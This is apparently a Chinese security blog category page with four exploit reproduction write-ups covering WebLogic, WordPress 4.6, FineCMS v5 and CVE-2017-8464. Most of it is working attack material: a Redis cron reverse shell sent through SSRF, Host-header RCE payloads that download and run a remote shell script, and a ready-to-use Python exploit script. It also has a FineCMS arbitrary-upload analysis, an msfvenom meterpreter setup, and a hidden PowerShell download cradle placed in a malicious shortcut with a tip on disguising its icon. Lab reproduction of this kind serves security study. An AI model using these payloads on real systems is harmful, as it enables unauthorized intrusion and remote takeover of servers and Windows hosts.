分类 漏洞分析 下的文章

weblogic 弱口令getshell&ssrf 复现

简介

weblogic是一个java中间件。主要用于大型企业。
默认端口: 7001

姿势

  • 弱口令

  • SSRF

  • java反序列化

  • getshell

实战模拟

弱口令getshell

  • 端口扫描
    发现7001端口开放。

1.png

  • 目录扫描

2.png

发现console目录,为weblogic登陆口。
/hello/file.jsp 测试发现存在任意文件读取漏洞:
http://127.0.0.1:7001/hello/file.jsp?path=/etc/passwd

weblogic登陆失败超过一定次数后账户就会被锁定,所以不能爆破
这里可以通过任意文件读取去读weblogic的密文和密钥,来解密获得密码。

./security/SerializedSystemIni.dat
./config/config.xml

SerializedSystemIni.dat是一个二进制文件,直接读取会有干扰字符,需要用burp读取,再copy to file
3.png

在config.xml找到”<node-manager-password-encrypted>“的值就是密文。

4.png

然后用weblogic_decrypt.jar解密,得到口令 weblogic:Oracle@123
登陆进去后部署->安装->上传war 即可getshell。

5.png

SSRF攻击Redis

SSRF:

http://127.0.0.1/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

首先利用SSRR探测到172.22.0.2这台主机开了6379端口(只能用http协议)
redis反弹shell的payload:

aaa

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

test

注意到这个payload收尾都有空行,因为redis命令按换行分隔,所以没有这两行,会写不进去。
还有,最重要的一点,也是坑了我半天时间的一点,就是URL编码的时候要全编码,连字母也要编码,不然也写不进去,推荐burpsuite。我开始用ff的插件,一直写不进去。
编码后的payload:

%61%61%61%0d%0a%0d%0a%73%65%74%20%30%20%22%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%34%34%2e%31%35%34%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65%0d%0a%0d%0a%74%65%73%74

6.jpg

7.jpg

WordPress 4.6 RCE 复现

环境

P师傅的docker
vulhub/wordpress/phpmailer-rce/

Mail()函数介绍

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
  • to: 邮件接收人

  • subject: 邮件主题

  • message: 要发的消息

  • additional_headers: 发邮件时额外的头部,如发送者from

  • additional_parameters: 传递给发送程序的额外参数,输入的发件人地址就进入这个参数
    Linux下,mail函数调用Linux的sendmail(/usr/bin/sendmail)程序发送邮件,sendmail有个-X参数,用来记录邮件的流量到log文件,通过指定这个log文件名,可以达到写文件的效果。

所以,此洞能被利用的前提是:

  1. 第五个参数可控

<?php
$to = 'abc@qq.com';
$subject = 'hello';
$message = 'world';
$message = '<?php phpinfo();?>';
$headers = 'CC: somebodyelse@example.com';
$options = 'my@qq.com -OQueueDirectory=/tmp -X/var/www/html/rce.php'; 
mail($to, $subject, $message, $headers, $options);

另外,sendmail的其他一些参数也能被利用。

  • -X file 记录log文件-->写文件

  • -C file 临时加载一个配置文件-->读文件

利用姿势

任意文件写入:

my@qq.com -OQueueDirectory=/tmp/ -X/var/www/shell.php
等同于
my@qq.com -oQ/tmp -X/var/www/shell.php

任意文件读取:

my@qq.com -C/etc/passwd -X/tmp/hack

在代码审计中,可以通过查找mail()函数,然后回溯他的第五个参数,看是否可控。

WordPress RCE

wp的rce就是这个mail()函数引起的,详细的漏洞分析可以看这里

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: 127.0.0.1(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}9525}} null)

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://127.0.0.1/wp-login.php?action=lostpassword

Cookie: wordpress_test_cookie=WP+Cookie+check

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 56



wp-submit=Get+New+Password&redirect_to=&user_login=admin

在Host头里注入payload,

target(any -froot@localhost -be ${run{command}} null)

Tips:

  • 利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格

  • 把反弹shell的payload放到远程,然后curl过去,再执行

最终的payload为:
下载远程反弹脚本:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell${substr{10}{1}{$tod_log}}172.16.44.112${substr{0}{1}{$spool_directory}}shell.sh}} null)

执行反弹:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell}} null)

shell.sh

/bin/bash -i >& /dev/tcp/172.16.44.112/4444 0>&1

EXP

#! /usr/bin/env python
# coding: utf-8

'''
WordPress 4.6 RCE -- Reverse shell
Author: sn00py
Date: 2017/6/27
'''

import requests

print "\n[*] Execute \"nc -lvvp ip:port\" on your remote host"
url = raw_input("\n[*] Input target url: (e.g. http://victim.com)\n") + '/wp-login.php?action=lostpassword'
payload_url = raw_input("\n[*] Input payload url: (e.g. evil.com/shell.sh)\n")

def payload_generate(command):
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}').replace('/', '${substr{0}{1}{$spool_directory}}')
    payload = "target(any -froot@localhost -be ${run{%s}} null)" % command
    return payload

data = {
    'wp-submit': 'Get New Password',
    'redirect_to': '',
    'user_login': 'admin'
}
# download payload
cmd = "/usr/bin/curl -o/tmp/rshell " + payload_url
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
# reverse shell
cmd = "/bin/bash /tmp/rshell"
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
print "\n[*] Done! good luck."

注意:

  1. 远程url不要加协议,因为有":"会出现500.

  2. post data里的user_login是一个存在的用户名,也就是说需要知道目标的一个用户名, 按实际情况修改。

Referer:
多个PHP mail函数引发的命令执行漏洞分析
WordPress Core 4.6 - Unauthenticated Remote Code Execution
WordPress 4.6无需认证远程命令执行漏洞分析

finecms v5 - 任意上传分析

漏洞分析

漏洞文件位于finecms\dayrui\controllers\member\Account.php中的upload()方法:

public function upload() {

        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            var_dump($result);
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {

                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }

// 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }


        exit('1');
    }

其中,

if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            var_dump($result);
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) 

这里有一个把post过来的tx进行正则匹配的操作,

preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)

1.png
匹配到的结果有三组:

  1. $result[0] = data: image/aaa;base64,

  2. $result[1] = data: image/aaa;base64,

  3. $result[2] = aaa
    然后用aaa作为后缀生成文件名,

$new_file = $dir.'0x0.'.$result[2];

再把$file写入刚才生成的文件名,

file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))

所以,这里文件后缀和文件内容都是我们可控的,造成了任意文件上传。

利用

(还是不懂怎么来定位到漏洞在哪触发,很烦)
注册会员,修改头像,抓包
3.png
Referer:
https://bbs.ichunqiu.com/thread-23526-1-1.html

poc

第一次尝试用pocsuite来写poc,感觉还是蛮好用的。
pocsuite提供两种模式:verify和attack,分别用两个函数来实现。
所有功能都要通过导入api目录下的各个类来实现。
1.png
很多函数框架里直接封装好了,所以代码特别简介,加上开头一堆没用的介绍,也才70行

代码:
https://github.com/sn00pyd0g3/python_code/blob/master/pocsuite/finecms_v507_file_upload.py

CVE-2017-8464 复现

CVE-2017-8464

简介

通过在快捷方式里注入恶意代码,加载远程的恶意powershell脚本,执行命令。

测试环境

  • KALI: 192.168.6.129

  • windows 2008: 192.168.6.132

过程

  • 生成反弹shell的ps脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.6.129 lport=4444 -f psh-reflection > /var/www/html/evil.ps1
  • 启动web服务器

service apache2 start
  • 监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.6.129
exploit -jz
  • 制作恶意快捷方式
    1.png

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.6.129/evil.ps1');test.ps1"
  • 技巧
    换个有欺骗性的图标

2.png

  • 上线

3.png

修复

打对应补丁

ps.
其实是个比较鸡肋的洞,甚至都不算漏洞。可能用来钓鱼提权还行。